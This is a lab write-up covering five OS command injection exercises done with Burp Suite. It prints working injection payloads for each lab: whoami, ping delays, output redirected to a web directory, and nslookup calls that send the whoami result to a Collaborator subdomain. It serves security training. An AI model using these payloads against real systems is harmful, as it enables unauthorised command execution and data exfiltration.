Lab Writeups

OS Command Injection

Prepared by
Youssef Reda

Contents

Lab 1: Basic OS Command Injection **1**

Lab 2: Blind OS Command Injection with Time Delays **1**

Lab 3: Blind OS Command Injection with Output Redirection **2**

Lab 4: Blind OS Command Injection with Out-of-Band Interaction **2**

Lab 5: Blind OS Command Injection with Out-of-Band Data Exfiltration **3**

Lab 1: Basic OS Command Injection

1. Intercept a stock-check request using Burp Suite.
2. Modify the `productID` parameter by injecting the payload:

```
;whoami;
```

3. Forward the modified request and inspect the HTTP response.
4. Observe the output of `whoami` to identify the user running the application and confirm OS command injection.

Lab 2: Blind OS Command Injection with Time Delays

1. Intercept the feedback submission request using Burp Suite.
2. Modify the `email` parameter using either of the following payloads.

   Payload 1:

```
x||ping+-c+10+127.0.0.1||
```

   Payload 2:

```
;ping+-c+10+127.0.0.1;
```

3. Forward the modified request and observe the response time.
4. Confirm that the response is delayed by approximately 10 seconds, indicating a blind OS command injection vulnerability.

Lab 3: Blind OS Command Injection with Output Redirection

1. Intercept the feedback submission request using Burp Suite.
2. Modify the `email` parameter using either of the following payloads.

   Payload 1:

   ```
   ||whoami>/var/www/images/output.txt||
   ```

   Payload 2:

   ```
   ;whoami+>/var/www/images/whoami.txt;
   ```

3. Forward the modified request to execute the command and redirect its output to a file in the writable images directory.
4. Intercept a product image request and modify the `filename` parameter to match the output filename.

   For Payload 1:

   ```
   filename=output.txt
   ```

   For Payload 2:

   ```
   filename=whoami.txt
   ```

5. Forward the request and inspect the response to retrieve the output of `whoami`.

Lab 4: Blind OS Command Injection with Out-of-Band Interaction

1. Intercept the feedback submission request using Burp Suite.
2. Modify the `email` parameter with the following payload:

   ```
   x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
   ```

3. Right-click the request and select `Insert Collaborator payload` to replace `BURP-COLLABORATOR-SUBDOMAIN` with a valid Burp Collaborator subdomain.
4. Forward the modified request to trigger a DNS lookup.
5. Verify that the DNS interaction is received in Burp Collaborator to confirm the blind OS command injection.

Lab 5: Blind OS Command Injection with Out-of-Band Data Exfiltration

1. Intercept the feedback submission request using Burp Suite Professional.
2. Open the Collaborator tab and copy a unique Burp Collaborator payload.
3. Modify the `email` parameter using the following payload, replacing the placeholder with your Collaborator subdomain:

```
||nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN||
```

4. Forward the modified request to execute the command.
5. Return to the Collaborator tab and click `Poll now`. Wait for the DNS interaction if necessary.
6. Inspect the interaction details and extract the username returned as part of the queried subdomain.
7. Submit the extracted username to complete the lab.